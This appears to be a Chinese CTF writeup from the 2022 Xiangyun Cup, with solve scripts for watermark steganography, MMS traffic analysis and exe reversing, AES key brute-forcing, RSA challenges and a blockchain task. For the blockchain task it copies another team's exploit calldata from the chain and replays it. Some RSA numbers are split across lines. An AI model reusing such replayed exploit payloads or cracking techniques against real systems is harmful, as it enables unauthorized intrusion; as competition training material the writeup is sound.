        O0OO0O0OOO0O000OO = OOOOOOOO0OO00OOO0.k(O0OO000OOO0OO0000, O0OO0OOO0000OO0OO) #DCT套娃变换
        O000O0O0OOO00OO0O = c(O0OO0O0OOO0O000OO,
                              (OOOOOOOO0OO00OOO0.carrier_cA_height, OOOOOOOO0OO00OOO0.carrier_cA_width)) #合块
        OOO00O0OOO00OO0OO = pywt.idwt2((O000OOOO0000OOO00, O00OO0OOO0O0OO000), 'haar')  #小波逆变换
        O00OOO000O00OO0OO = pywt.idwt2((O000O0O0OOO00OO0O, OOOOO00000000OO0O), 'haar')  #小波逆变换
        O0OO000O0000000O0 = cv2.merge(
            [OOO000O00O000OO0O,
             OOO00O0OOO00OO0OO.astype('float32'),
             O00OOO000O00OO0OO.astype('float32')])
        O0OO0000000OO00O0 = cv2.cvtColor(O0OO000O0000000O0, cv2.COLOR_YCrCb2BGR) #转换为BGR
        return O0OO0000000OO00O0


if __name__ == '__main__':
    carrier = cv2.imread('test_images/lena.png')
    watermark = cv2.imread('test_images/flag.png', cv2.IMREAD_GRAYSCALE)
    wm = Watermark(carrier)
    embedded = wm.l(watermark)
    cv2.imwrite('embedded.png', embedded)

关键内容是l()函数，后面流程我都加备注了，基本流程是

两个图片各经历了不同的变化，

水印做猫眼，二值化之后压缩转为字节，最后RScode转为bytes，然后进行解压缩数据

原图首先通道转换，Cr，Cb通道进行了小波转换，随后数据分块4×4

之后将水印进行嵌入，然后使用了超级无敌大套娃的k函数（dct，svd，μ，QIM），将两组数据分别写入，Cr，Cb通道，进行合块（c函数），最终进行反小波运算，将通道转为RGB，完成隐写。。。

我只能说那是真的

那么知道具体思路写解密脚本就行了，就是从下往上回着写，基本都有对应，不难

脚本如下，尊重一下出题人的想法，此处我也使用同样类型的混淆算法进行编写exp

from email.mime import image
import hashlib
import cv2
import numpy as np
import pywt
from reedsolo import RSCodec
import matplotlib.pyplot as plt


class WatermarkExtract ():
    def __init__ (O000OO00O00OOO0OO ,OOO00OO0OO0000O00 ):
        O000OO00O00OOO0OO .block_shape =4
        O000OO00O00OOO0OO .arnold_factor =(6 ,20 ,22 )
        O000OO00O00OOO0OO .rsc_factor =100 
        O000OO00O00OOO0OO .mu_law_mu =100 
        O000OO00O00OOO0OO .mu_law_X_max =8000 
        O000OO00O00OOO0OO .delta =15 
        O000OO00O00OOO0OO .carrier =OOO00OO0OO0000O00 .astype ('float32')
        O0O0O0OO0OO0OO00O ,O0OOO0O000OO0OOOO =O000OO00O00OOO0OO .carrier .shape [:2 ]
        O000OO00O00OOO0OO .carrier_cA_height =O0O0O0OO0OO0OO00O //2 
        O000OO00O00OOO0OO .carrier_cA_width =O0OOO0O000OO0OOOO //2 
        O000OO00O00OOO0OO .watermark_height =O000OO00O00OOO0OO .carrier_cA_height //O000OO00O00OOO0OO .block_shape
        O000OO00O00OOO0OO .watermark_width =O000OO00O00OOO0OO .carrier_cA_width //O000OO00O00OOO0OO .block_shape 
        O000OO00O00OOO0OO .max_bits_size =O000OO00O00OOO0OO .watermark_height *O000OO00O00OOO0OO .watermark_width
        O000OO00O00OOO0OO .max_bytes_size =O000OO00O00OOO0OO .max_bits_size //8 #line:17
        O000OO00O00OOO0OO .rsc_size =len (RSCodec (O000OO00O00OOO0OO .rsc_factor ).encode (b'\x00'*O000OO00O00OOO0OO .max_bytes_size ))
    def c (O00O000000OOOO00O ,O000O0O0OO0O0OOOO ):
        OO00O00OO00O0000O ,O00O0OOOO000O0OO0 =O000O0O0OO0O0OOOO [:2 ]#line:22
        OO0O0O0O0OOO0O000 ,OO0000OOO00O0O0O0 =O00O000000OOOO00O .shape [-2 :]#line:23
        O0000O00O0O00OO00 =(OO00O00OO00O0000O //OO0O0O0O0OOO0O000 ,O00O0OOOO000O0OO0 //OO0000OOO00O0O0O0 ,OO0O0O0O0OOO0O000 ,OO0000OOO00O0O0O0 )#line:24
        O00O000000OOOO00O =np .reshape (O00O000000OOOO00O ,O0000O00O0O00OO00 )#line:25
        O0OO00O0000OOO000 =[]#line:26
        for OO000OOOO00OO0OOO in O00O000000OOOO00O :#line:27
            O0OO00O0000OOO000 .append (np .concatenate (OO000OOOO00OO0OOO ,axis =1 ))#line:28
        O0OOO0O00O0OO0OOO =np .concatenate (O0OO00O0000OOO000 ,axis =0 )#line:29
        return O0OOO0O00O0OO0OOO #line:30
    def b (OO0000OOO000OOO00 ,O000OO000OOO0O00O ,OO0O000OO0O0OO00O ):#line:32
        OO000O000000O0OOO ,O0O00OOOO0O0O0O00 =O000OO000OOO0O00O .shape [:2 ]#line:33
        O00000OO000O0O00O ,O00000OOO0OOO00O0 =OO0O000OO0O0OO00O #line:34
        OOOOOOO0OO00OOO00 =(OO000O000000O0OOO //O00000OO000O0O00O ,O0O00OOOO0O0O0O00 //O00000OOO0OOO00O0 ,O00000OO000O0O00O ,O00000OOO0OOO00O0 )#line:35
        OO000000O0OO0OO0O =O000OO000OOO0O00O .itemsize *np .array ([O0O00OOOO0O0O0O00 *O00000OO000O0O00O ,O00000OOO0OOO00O0 ,O0O00OOOO0O0O0O00 ,1 ])#line:36
        OO00O00OOOO0OOO00 =np .lib .stride_tricks .as_strided (O000OO000OOO0O00O ,OOOOOOO0OO00OOO00 ,OO000000O0OO0OO0O ).astype ('float64')#line:37
        OO00O00OOOO0OOO00 =np .reshape (OO00O00OOOO0OOO00 ,(OOOOOOO0OO00OOO00 [0 ]*OOOOOOO0OO00OOO00 [1 ],O00000OO000O0O00O ,O00000OOO0OOO00O0 ))#line:38
        return OO00O00OOOO0OOO00 #line:39
    def e1 (O0O0O0OOO00O00000 ,OOO000O00O0OOO0O0 ,OO000OOO000OO000O ,OOOOOO00000O00O00 ):#line:43
        return np .log (1 +OOOOOO00000O00O00 *(np .abs (OOO000O00O0OOO0O0 )/OO000OOO000OO000O ))/np .log (1 +OOOOOO00000O00O00 )#line:44
    def extract (OO0OOO00OO0O00OO0 ,O000OO0O0O00OOOO0 ,OO0OOO000O000O00O ):#line:46
        return O000OO0O0O00OOOO0 /2 -OO0OOO000O000O00O *1000 %O000OO0O0O00OOOO0 #line:47
    def reverse (O0OO0OO00000000OO ,OO0O00O000000OOOO ):#line:49
        O000OOOOOOOOO0O0O =OO0O00O000000OOOO .copy ()#line:50
        O000O0OOO000OOO0O =[]#line:51
        for O0OOOOO0000O0O000 ,OOO0000OO00OO0000 in enumerate (OO0O00O000000OOOO ):#line:52
            O00OO00O00000OOOO =cv2 .dct (OOO0000OO00OO0000 )#line:53
            O00O00O0OOO0OO0O0 ,OOOO0OO0OOOOOOOOO ,O00O000OO000O0000 =np .linalg .svd (O00OO00O00000OOOO )#line:54
            O0000O0OO0000OOO0 =np .max (OOOO0OO0OOOOOOOOO )#line:55
            O00OO0OO00O00O000 =O0OO0OO00000000OO .e1 (O0000O0OO0000OOO0 ,O0OO0OO00000000OO .mu_law_X_max ,O0OO0OO00000000OO .mu_law_mu )#line:56
            O000OOOOOOOOO0O0O =O0OO0OO00000000OO .extract (O0OO0OO00000000OO .delta ,O00OO0OO00O00O000 )#line:57
            if O000OOOOOOOOO0O0O >0 :#line:58
                O000O0OOO000OOO0O .append (1 )#line:59
            else :#line:60
                O000O0OOO000OOO0O .append (0 )#line:61
        return O000O0OOO000OOO0O #line:62
    def packbits (OOO00OO00OO0OOO00 ,O0O0O00O0O00OOO00 ):#line:64
        OOO00000O00000OO0 =np .packbits (O0O0O00O0O00OOO00 ).tobytes ()#line:65
        return OOO00000O00000OO0 #line:66
    def debuffer (OO0O0OO00O000OOOO ,OOO00OOOO00O0000O ):#line:68
        O0O0O0OO00OO00OO0 =np .unpackbits (np .frombuffer (OOO00OOOO00O0000O ,dtype ='uint8'))#line:69
        return O0O0O0OO00OO00OO0 #line:70
    def dearnold (OOOO000O0OO0OOO0O ,OOOOOOO00OO0O0000 ,OOOO0O0000O0OO0OO ):#line:72
        O0OOOOOOO000OO0O0 ,O00O0OO0OO0000O00 ,OOO00O00OOO00OO00 =OOOO0O0000O0OO0OO #line:73
        OO000OO000O0000O0 ,OOOOOO0O0OOOOO00O =OOOOOOO00OO0O0000 .shape [:2 ]#line:74
        OO000OO00OOOO00O0 =np .zeros (OOOOOOO00OO0O0000 .shape )#line:75
        for O00OO00OO00O00000 in range (O0OOOOOOO000OO0O0 ):#line:76
            for O0O000000000OOO0O in range (OO000OO000O0000O0 ):#line:77
                for O0O0OOOOO0OOOOOO0 in range (OOOOOO0O0OOOOO00O ):#line:78
                    O0OO0OO0O0O0O00OO =(O0O0OOOOO0OOOOOO0 +O00O0OO0OO0000O00 *O0O000000000OOO0O )%OOOOOO0O0OOOOO00O #line:79
                    OO000OO000O0OO0O0 =(OOO00O00OOO00OO00 *O0O0OOOOO0OOOOOO0 +(O00O0OO0OO0000O00 *OOO00O00OOO00OO00 +1 )*O0O000000000OOO0O )%OO000OO000O0000O0 #line:80
                    OO000OO00OOOO00O0 [OO000OO000O0OO0O0 ,O0OO0OO0O0O0O00OO ]=OOOOOOO00OO0O0000 [O0O000000000OOO0O ,O0O0OOOOO0OOOOOO0 ]#line:81
            OOOOOOO00OO0O0000 =OO000OO00OOOO00O0 .copy ()#line:82
        return OOOOOOO00OO0O0000 #line:84
    def decode1 (OOOOOOOO0OOOO0OO0 ,O0O000OO00O0O0000 ):#line:87
        O0O000OO00O0O0000 =OOOOOOOO0OOOO0OO0 .carrier #line:88
        OOOOO0O00OOOO0O00 =cv2 .cvtColor (O0O000OO00O0O0000 ,cv2 .COLOR_BGR2YCrCb )#line:89
        OO00O0OOO00OO000O ,O0OO00OO00OOO00OO ,O00O0OOO000O0OO00 =cv2 .split (OOOOO0O00OOOO0O00 )#line:90
        O0O0OO0O0O00000O0 ,O00O0000OOOO00O0O =pywt .dwt2 (O0OO00OO00OOO00OO ,'haar')#line:92
        OO000000OOO0O0OO0 ,O0OO000OOO0OO00OO =pywt .dwt2 (O00O0OOO000O0OO00 ,'haar')#line:93
        O0O0OOO00OO0O00O0 =OOOOOOOO0OOOO0OO0 .b (O0O0OO0O0O00000O0 ,(OOOOOOOO0OOOO0OO0 .block_shape ,OOOOOOOO0OOOO0OO0 .block_shape ))#line:94
        O000OOOOO0O000O00 =OOOOOOOO0OOOO0OO0 .b (OO000000OOO0O0OO0 ,(OOOOOOOO0OOOO0OO0 .block_shape ,OOOOOOOO0OOOO0OO0 .block_shape ))#line:95
        O0O0OO00OO0OOOOOO =OOOOOOOO0OOOO0OO0 .reverse (O0O0OOO00OO0O00O0 )#line:97
        OOO00OO000OO00000 =OOOOOOOO0OOOO0OO0 .reverse (O000OOOOO0O000O00 )#line:98
        O0OOO00O000000000 =np .array (O0O0OO00OO0OOOOOO +OOO00OO000OO00000 )#line:100
        OO000OO0OOOOO00O0 =(OOOOOOOO0OOOO0OO0 .packbits (O0OOO00O000000000 ))[:OOOOOOOO0OOOO0OO0 .rsc_size ]#line:101
        OOOO0OO0OO0O0OO0O =RSCodec (OOOOOOOO0OOOO0OO0 .rsc_factor )#line:102
        OO0OOOOO00O0OOOOO =bytes (OOOO0OO0OO0O0OO0O .decode (OO000OO0OOOOO00O0 )[0 ])#line:103
        OO0000O000OOO0OOO =OOOOOOOO0OOOO0OO0 .debuffer (OO0OOOOO00O0OOOOO ).reshape ((240 ,240 ))#line:104
        for OO0O0OO0OOO00OOO0 in range (19 ):#line:105
            OO0000O000OOO0OOO =OOOOOOOO0OOOO0OO0 .dearnold (OO0000O000OOO0OOO ,OOOOOOOO0OOOO0OO0 .arnold_factor )#line:106
        return OO0000O000OOO0OOO #line:108
if __name__ =='__main__':#line:111
    embedded =cv2 .imread ('embedded.png')#line:117
    wm =WatermarkExtract (embedded )#line:118
    extart =wm .decode1 (embedded )#line:119
    cv2 .imshow ('extart',extart )#line:121
     cv2 .waitKey (0 )#line:122

4.super_electric

misc+re+crypto 只能说re和密码是牛逼的

流量分析，MMS流量，直接追踪TCP，发现盲点

图片[13]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

一眼顶针，是MZ文件头的exe程序，仔细看一眼，是octet-string字段存储的，

然后导出csv，编写脚本即可

import csv
from hashlib import new


list1 = [] 
with open('dump.csv') as f:
    reader = csv.reader(f)
    for row in reader:
        list1.append(row)


newlist = []


for i in range(1,len(list1)-1):
    if len(list1[i][6]) == 16:
        newlist.append(list1[i][6])


strings = ''.join(newlist)
#hex转换，保存为exe
with open('1.exe', 'wb') as f:
    f.write(bytes.fromhex(strings))

拿到文件运行发现是弹窗提示，所以直接在MessageBox下了断点回溯找到校验部分

是明文比对，所以过了第一个校验

图片[14]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

然而并没有结束，flag不对，所以在继续找程序的可疑地方即是pack段与mysec段

在pack段的有个函数CRC解密的部分，所以怀疑是个内置的压缩壳

随后经过不断调试与尝试想起start函数可疑的地方，也就是经过第一个校验之后还在运行的地方

图片[15]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

于是把程序直接跑到这，跳过去直接dump出来

图片[16]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

直接审计一下提取数据手动解密

图片[17]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

得到

data1 = [  0xEA, 0xE8, 0xE7, 0xD6, 0xDC, 0xD6, 0xEE, 0xEC, 0xFD, 0xD6, 
  0xB8, 0xFD, 0xB6]
for t in data1:
    print(chr(t ^ 0x89), end = "")


print()


data = [  0x66, 0x73, 0x6D, 0x6E, 0x24, 0x46, 0x74, 0x7E, 0x78, 0x7D, 
  0x65, 0x25, 0x4F, 0x64, 0x7E, 0x67, 0x75, 0x63, 0x32, 0x7A, 
  0x79, 0x65, 0x79, 0x65, 0x6C, 0x39, 0x5B, 0x5E, 0x4F, 0x17, 
  0x77, 0x72, 0x50, 0x4E, 0x50, 0x57, 0x04, 0x47, 0x4F, 0x49, 
  0x49, 0x5A, 0x49, 0x42, 0x45, 0x27, 0x47, 0x42, 0x40, 0x5E, 
  0x40, 0x47, 0x14, 0x5D, 0x57, 0x44, 0x50, 0x55, 0x53, 0x59, 
  0x36, 0x5B, 0x4C, 0x50, 0x2D, 0x61, 0x2A, 0x2B, 0x2C, 0x65, 
  0x2F, 0x2A, 0x38, 0x26, 0x38, 0x3F, 0x6C, 0x2B, 0x22, 0x2E, 
  0x37, 0x5B, 0x33, 0x20, 0x27, 0x30, 0x24, 0x23, 0x78, 0x3F, 
  0x36, 0x3A, 0x3B, 0x06, 0x64, 0x6A, 0x3D, 0x41, 0x5F, 0x5E, 
  0x44, 0x42, 0x00, 0x0B, 0x09, 0x0E, 0x11, 0x4C, 0x4C, 0x0C, 
  0x00, 0x0B, 0x50, 0x17, 0x1E, 0x12, 0x13, 0x2E, 0x5B, 0x46, 
  0x42, 0x24, 0x5A, 0x46, 0x41, 0x5D, 0x59, 0x02, 0xA7, 0x8B, 
  0xE9, 0xE6, 0xFD, 0xA5, 0xBB, 0xA7, 0xEA, 0xAE, 0xBE, 0xEF, 
  0xB5, 0xEC, 0xB9, 0xBF, 0xA0, 0xA1, 0xA3, 0xA3, 0xA0, 0xA6, 
  0xA1, 0xBD, 0xB2, 0xB3, 0xBD, 0x91, 0xF0, 0xBD, 0xA3, 0xBF, 
  0xCC, 0xC4, 0xCC, 0x8B, 0xCF, 0xC0, 0xDF, 0x8E, 0xA2, 0xC4, 
  0xCF, 0xD8, 0xDF, 0xCC, 0xC9, 0xCA, 0x90, 0x8C, 0x92, 0xD1, 
  0x93, 0xF1, 0xD9, 0x97, 0xC1, 0xD6, 0xCF, 0x9B, 0xD9, 0xCB, 
  0xDB, 0xCD, 0xE0, 0xA7, 0xA7, 0xA6, 0xA8, 0xE9, 0xE6, 0xA1, 
  0xAD, 0xAC, 0xA6, 0xEB, 0xBF, 0xA2, 0xEE, 0xBF, 0xB1, 0xA1, 
  0xB7, 0xA1, 0xF4, 0xA1, 0xBE, 0xBE, 0xB6, 0xF5, 0xFA, 0x97, 
  0xB5, 0xB6, 0xBB, 0xFF, 0x81, 0xC1, 0x8A, 0x8C, 0x91, 0x96, 
  0x83, 0xC7, 0x87, 0x8F, 0xCA, 0x88, 0x8D, 0x9F, 0x8A, 0x9C, 
  0xDC, 0xD1, 0xBD, 0x9D, 0x91, 0xD5, 0x94, 0x9B, 0x97, 0x8E, 
  0xDA, 0x9D, 0x8E, 0x92, 0x93, 0xDF, 0x63, 0x60, 0x74, 0x6A, 
  0x6A, 0x62, 0x26, 0x6E, 0x66, 0x2E, 0x2A, 0x20, 0x2C, 0x6F, 
  0x67, 0x61, 0x71, 0x62, 0x71, 0x7A, 0x7D, 0x3B, 0x63, 0x79, 
  0x70, 0x7C, 0x62, 0x77, 0x75, 0x7B, 0x67, 0x37, 0x48, 0x40, 
  0x51, 0x4B, 0x48, 0x4C, 0x44, 0x09, 0x5B, 0x41, 0x4B, 0x19, 
  0x19, 0x1B, 0x06, 0x44, 0x55, 0x48, 0x1B, 0x1D, 0x5C, 0x50, 
  0x4E, 0x53, 0x51, 0x5E, 0x5F, 0x48, 0x48, 0x15, 0x17, 0x16, 
  0x1B, 0x7B, 0x73, 0x73, 0x19, 0x4F, 0x2F, 0x31, 0x68, 0x74, 
  0x6A, 0x2D, 0x20, 0x2C, 0x29, 0x14, 0x65, 0x6B, 0x7F, 0x62, 
  0x09, 0x5F, 0x3B, 0x32, 0x2B, 0x2A, 0x3B, 0x3C, 0x39, 0x7D, 
  0x63, 0x7F, 0x0D, 0x04, 0x11, 0x10, 0x05, 0x02, 0x03, 0x47, 
  0x43, 0x49, 0x08, 0x12, 0x18, 0x08, 0x1D, 0x47, 0x58, 0x1D, 
  0x52, 0x5E, 0x54, 0x19, 0x13, 0x19, 0x50, 0x14, 0x1F, 0x08, 
  0x0F, 0x1C, 0x19, 0x1A, 0xA9, 0xA1, 0xA7, 0xA3, 0xE8, 0xAC, 
  0xA6, 0xAD, 0xA8, 0xEA, 0xE2, 0xF9, 0xA4, 0xE1, 0xAE, 0xA2, 
  0xB0, 0xFD, 0xF7, 0xFD, 0xBC, 0xF8, 0xF3, 0xE4, 0xEB, 0xF8, 
  0xFD, 0xFE, 0xB5, 0xBD, 0xBB, 0xBF, 0xCC, 0x88, 0x8E, 0x83, 
  0xC1, 0xCB, 0xC5, 0xC8, 0xCC, 0xC0, 0xC4, 0xCC, 0x8C, 0x90, 
  0x8E, 0x88, 0xC5, 0xC5, 0xD4, 0x9E, 0x8C, 0x92, 0x9F, 0xBD, 
  0xD9, 0xDC, 0xC9, 0x9B, 0x81, 0x9D, 0xFF, 0xFA, 0x93, 0xEF, 
  0xAC, 0xA6, 0xB3, 0xED, 0xAD, 0xA2, 0xB1, 0xE5, 0xEA, 0x8A, 
  0x89, 0x9E, 0xE0, 0x82, 0x9F, 0x95, 0x97, 0x8C, 0x97, 0x97, 
  0x95, 0xFB, 0xF8, 0xB0, 0xAC, 0xF2, 0xD6, 0xAD, 0xAC, 0xB6, 
  0x8E, 0x95, 0xCA, 0x81, 0x8D, 0x8B, 0x87, 0x94, 0x8B, 0x80, 
  0x83, 0xC5, 0x84, 0x88, 0x96, 0x83, 0x99, 0x97, 0x8B, 0xDB, 
  0x95, 0x90, 0x85, 0xD9, 0x9D, 0x97, 0x99, 0x89, 0x85, 0x8D, 
  0x8A, 0xD7, 0x6D, 0x64, 0x71, 0x70, 0x65, 0x62, 0x63, 0x2E, 
  0x21, 0x20, 0x00, 0x28, 0x26, 0x27, 0x24, 0x25, 0x3A, 0x3B, 
  0x38, 0x39, 0x3E, 0x3F, 0x3C, 0x3D, 0x32, 0x33, 0x30, 0x31, 
  0x36, 0x37, 0x34, 0x35, 0x0A, 0x0B, 0x08, 0x09, 0x0E, 0x0F, 
  0x0C, 0x0D, 0x02, 0x03, 0x00, 0x01, 0x06, 0x07, 0x04, 0x05, 
  0x1A, 0x1B, 0x18, 0x19, 0x1E, 0x1F, 0x1C, 0x1D, 0x12, 0x13, 
  0x10, 0x11, 0x16, 0x17, 0x14, 0x15, 0x6A, 0x6B, 0x68, 0x69, 
  0x6E, 0x6F, 0x6C, 0x6D, 0x62, 0x63, 0x60, 0x61, 0x66, 0x67, 
  0x64, 0x65, 0x7A, 0x7B, 0x78, 0x79, 0x7E, 0x7F, 0x7C, 0x7D, 
  0x72, 0x73, 0x70, 0x71, 0x76, 0x77, 0x74, 0x75, 0x4A, 0x4B, 
  0x48, 0x49, 0x4E, 0x4F, 0x4C, 0x4D, 0x42, 0x43, 0x40, 0x41, 
  0x46, 0x47, 0x44, 0x45, 0x5A, 0x5B, 0x58, 0x59, 0x5E, 0x5F, 
  0x5C, 0x5D, 0x52, 0x53, 0x50, 0x51, 0x56, 0x57, 0x54, 0x55, 
  0xAA, 0xAB, 0xA8, 0xA9, 0xAE, 0xAF, 0xAC, 0xAD, 0xA2, 0xA3, 
  0xA0, 0xA1, 0xA6, 0xA7, 0xA4, 0xA5, 0xBA, 0xBB, 0xB8, 0xB9, 
  0xBE, 0xBF, 0xBC, 0xBD, 0xB2, 0xB3, 0xB0, 0xB1, 0xB6, 0xB7, 
  0xB4, 0xB5, 0x8A, 0x8B, 0x91, 0xC5, 0xC6, 0xC4, 0x90, 0x93, 
  0xC9, 0xCD, 0x9D, 0xC9, 0x9B, 0x95, 0x98, 0x98, 0x86, 0xD4, 
  0x86, 0x85, 0x80, 0x86, 0x8F, 0x82, 0x89, 0x80, 0x83, 0x8F, 
  0x8E, 0x89, 0x8D, 0x8F, 0xF2, 0xA3, 0xF0, 0xF2, 0xA6, 0xF7, 
  0xA4, 0xF6, 0xFF, 0xAD, 0xA8, 0xF9, 0xC6]
for i in range(len(data)):
    print(chr(data[i] ^ i & 0xFF), end = "")


# can_U_get_1t?
from Crypto.Cipher import AES
import binascii
import hashlib
from hhh import flag
assert flag[:5] == 'flag{' and flag[-1:] == '}'
key = b'4d9a700010437***'
l = len(key)
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
iv = flag[5:-1]
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key, AES.MODE_CBC, iv)
print(binascii.hexlify(aes.encrypt(message)))
#******************************************************************************************************************************************************3fba64ad7b78676e464395199424302b21b2b17db2

然后又套了个密码，加点注释。

from Crypto.Cipher import AES
import binascii
import hashlib
from hhh import flag
assert flag[:5] == 'flag{' and flag[-1:] == '}'
key = b'4d9a700010437***'
l = len(key) #16
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
iv = flag[5:-1] #flag内容做为iv。
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key, AES.MODE_CBC, iv)
print(binascii.hexlify(aes.encrypt(message)))
#******************************************************************************************************************************************************3fba64ad7b78676e464395199424302b21b2b17db2

简单分析一下，首先给了个key，需要爆破，三位，然后密位没给全但是问题不大，可以用来当作校验，最后把明文当成密文来解aes应该就可以了，先爆破一下key

首先key是16进制，内容最多是0-9a-f，所以编写

from email import message
from encodings import utf_8


from Crypto.Util.number import *
from Crypto.Cipher import AES
import binascii
import hashlib


checknum =  0x3fba64ad7b78676e464395199424302b21b2b17db2


def XOR(a,b):
    c = []
    for i,j in zip(a,b):
        c.append(i^j)
    return bytes(c)
        
#16进制
strlist = "0123456789abcdef"


for a in strlist:
    for b in strlist:
        for c in strlist:
            key = '4d9a700010437'+a+b+c
            key = key.encode()
            l = len(key) #16
            message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
            message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
            aes = AES.new(key,AES.MODE_ECB)
            data1 = long_to_bytes(checknum)
            check = data1[:-16]  #flag{
            encode= data1[-16:]  #}
            #decode
            decode = aes.decrypt(encode)[-5:]
            if check == XOR(decode,message[-5:]):
                print(key)
                break

获得key：4d9a7000104376fe

有了key之后就可以带入之前的程序继续计算就行了

#题目给的
key = "4d9a7000104376fe"
key = key.encode()
l = len(key) #16
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key,AES.MODE_ECB)
#clac
msg = []
for i in range(6):
    temp = message[i*16:(i+1)*16]
    msg.append(temp)


msg = msg[::-1]


flag = long_to_bytes(checknum)[-16:]
for i in range(6):
    flag = aes.decrypt(flag)
    flag = XOR(flag, msg[i])


print(flag)

5.BearParser

非预期上车

区块链，只给了部分代码，一直等上车来着

图片[18]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

最开始思路寻思上geth连一下看看，geth attach ip可以链上，并且使用eth.getBlock能获取其他人的交易记录，所以一直等着上车捏

图片[19]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

然后发现有队伍一血了，最速使用eth.BlockNumber查看到最新区块到了190，

图片[20]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

索性从181一直查到了190（之前区块一直在查，要么是部署，要么是转账和创建账户）直到190块发现了poc，对应一下时间刚好是一血的时间，直接复制input内容

{
  blockHash: "0xf6296217b129d81856d1edcc76be550904160f4a877cbb3ed4405789d36729e5",
  blockNumber: 190,
  from: "0xc7f0fa2a5f9a258f0762457f3e5e34ac4581dfae",
  gas: 3000000,
  gasPrice: 10000000000,
  hash: "0x5fe866a4e421c73d0c846c04e82b27830c60af842641baa606d03bd818e7550f",
  input: "0x26ad15930000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000008061616161616161616161616161616161616161616161616161616161616161616262626262626262626262626262626262626262626262626262626262626262000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000001111111100000000000000000000000000000000000000000000000000000000111111110000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000278780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000006fb9eccc000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000027878000000000000000000000000000000000000000000000000000000000000",
  nonce: 0,
  r: "0x44de0f6cde5ee4144de798ac6382347bb4b8878d399f4da629e23114d1106624",
  s: "0x3c5d157b3accc627c0a95a54f6f0d2b6ca76e006e4569eada69df141c730e589",
  to: "0xf8af169b2ccde9271fdd004608c624037d58957f",
  transactionIndex: 0,
  type: "0x0",
  v: "0x4593",
  value: 0

合约随便部署个fallback() external{}

就行了然后直接to address部署题目合约，直接transact即可

图片[21]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

复制交易txhash值，最后提交

图片[22]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

1.little little fermat

遇事不决去百度代码，发现相似代码

根据即可求出和

题目提示是小费马，百度即可得到费马小定理

费马小定理

根据费马小定理我们可以从：

assert 114514 ** x % p == 1

推出:

x = p - 1

然后正常解RSA即可：

from Crypto.Util.number import * 
from random import * 
from libnum import * 
import gmpy2 
from itertools import combinations, chain 

e = 65537 
n = 14132106732571642637548350691522493009724686596047415506904017635686070743554027091108158975147178351963999658958949587721449719649897845300515427278504841871501371441992629
9248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393 
c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828
498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883 
tp = [gmpy2.mpz(1 << i) for i in range(512)] 
it = chain(*[combinations(range(3, 417 - 3), i) for i in range(4)]) 
for cf in it: 
   A = -sum([tp[i] for i in cf]) 
   D = A**2 + 4 * n 
   if gmpy2.is_square(D): 
       d = gmpy2.isqrt(D) 
       p = (-A + d) // 2 
       q = n // p 
       break 
x=p-1 
d = pow(e, -1, (p - 1) * (q - 1)) 
m=pow(c, d, n) 
print(pow(c, d, n)) 
print(long_to_bytes(m^(x**2)))

2.common_rsa

利用在线分解直接出p,q。

然后常规解密即可：

import libnum
from Crypto.Util.number import long_to_bytes
 
c = 97724073843199563126299138557100062208119309614175354104566795999878855851589393774478499956448658027850289531621583268783154684298592331328032682316868391120285515076911892737051842116394165423670275422243894220422196193336551382986699759756232962573336291032572968060586136317901595414796229127047082707519
n = 253784908428481171520644795825628119823506176672683456544539675613895749357067944465796492899363087465652749951069021248729871498716450122759675266109104893465718371075137027806815473672093804600537277140261127375373193053173163711234309619016940818893190549811778822641165586070952778825226669497115448984409
e = 31406775715899560162787869974700016947595840438708247549520794775013609818293759112173738791912355029131497095419469938722402909767606953171285102663874040755958087885460234337741136082351825063419747360169129165
q = 21007149684731457068332113266097775916630249079230293735684085460145700796880956996855348862572729597251282134827276249945199994121834609654781077209340587
p = 12080882567944886195662683183857831401912219793942363508618874146487305963367052958581455858853815047725621294573192117155851621711189262024616044496656907

d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))

(不理解这道题为什么没多少人做，当时做的时候看到很大想到了维纳攻击，但没想到网上可以直接查到的分解，也就没有进一步分解代码直接解了）

（有点感觉非预期？）

3.tracing

（这道题秋风提供了核心求解的思路，然后我就直接把剩下的解密一把梭了)

这道题的没有给出，而题目却给出了类似于单步调试回显的代码，因此分析函数的操作过程可以直接倒推出

import libnum
from Crypto.Util.number import long_to_bytes

